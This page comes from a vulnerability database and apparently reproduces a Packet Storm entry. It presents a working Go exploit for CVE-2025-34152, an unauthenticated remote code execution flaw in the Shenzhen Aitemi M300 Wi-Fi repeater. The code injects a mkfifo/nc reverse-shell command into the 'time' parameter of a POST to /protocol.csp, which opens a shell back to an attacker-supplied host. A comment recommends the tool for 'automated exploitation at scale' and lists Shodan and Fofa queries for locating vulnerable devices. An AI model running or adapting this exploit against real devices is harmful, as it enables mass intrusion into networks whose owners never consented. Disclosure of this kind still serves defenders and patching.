Lucene search
K

📄 Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated Remote Code Execution

🗓️ 08 Aug 2025 00:00:00Reported by Valentin LobsteinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 119 Views

Shenzhen Aitemi M300 Wi-Fi Repeater unauthenticated remote code execution (CVE-2025-34152) enabling reverse shell.

Related
Code
package main
    
    import (
    	"flag"
    	"fmt"
    	"io"
    	"net/http"
    	"net/url"
    	"os"
    	"strings"
    )
    
    /*
    Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (CVE-2025-34152)
    
    - does not require authentication (even when the login panel is enabled)
    - does not reboot the device
    - does not affect network configuration
    - ideal for automated exploitation at scale
    
    Dorks:
      - Fofa:   icon_hash="-741058468" && server="lighttpd/1.4.32"
      - Shodan: http.favicon.hash:-741058468 lighttpd/1.4.32
    */
    
    func main() {
    	host := flag.String("u", "", "Target host URL (e.g., http://192.168.11.1)")
    	lhost := flag.String("i", "", "Attacker IP for reverse shell")
    	lport := flag.String("p", "", "Attacker port for reverse shell")
    	proxyURL := flag.String("x", "", "Optional proxy URL (e.g., http://127.0.0.1:8080)")
    	flag.Parse()
    
    	if *host == "" || *lhost == "" || *lport == "" {
    		fmt.Printf("Usage: %s -u <host_url> -i <lhost> -p <lport> [-x <proxy_url>]\n", os.Args[0])
    		os.Exit(1)
    	}
    
    	h := strings.TrimRight(*host, "/")
    	endpoint := h + "/protocol.csp?"
    
    	raw := fmt.Sprintf("$(mkfifo /tmp/x; nc %s %s < /tmp/x | /bin/sh > /tmp/x 2>&1)", *lhost, *lport)
    	encoded := url.QueryEscape(raw)
    	encoded = strings.ReplaceAll(encoded, "+", "%20")
    
    	body := fmt.Sprintf("fname=system&opt=time_conf&function=set&time=%s", encoded)
    
    	req, err := http.NewRequest("POST", endpoint, strings.NewReader(body))
    	if err != nil {
    		fmt.Printf("[!] Request creation failed: %v\n", err)
    		os.Exit(1)
    	}
    
    	transport := &http.Transport{}
    	if *proxyURL != "" {
    		parsedURL, err := url.Parse(*proxyURL)
    		if err != nil {
    			fmt.Printf("[!] Invalid proxy URL: %v\n", err)
    			os.Exit(1)
    		}
    		transport.Proxy = http.ProxyURL(parsedURL)
    	}
    	client := &http.Client{Transport: transport}
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Printf("[!] Request failed: %v\n", err)
    		os.Exit(1)
    	}
    	defer resp.Body.Close()
    
    	fmt.Printf("[+] Response %d\n", resp.StatusCode)
    	data, err := io.ReadAll(resp.Body)
    	if err != nil {
    		fmt.Printf("[!] Reading response failed: %v\n", err)
    		os.Exit(1)
    	}
    	fmt.Println(string(data))
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Aug 2025 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 49.4
EPSS0.61676
SSVC
119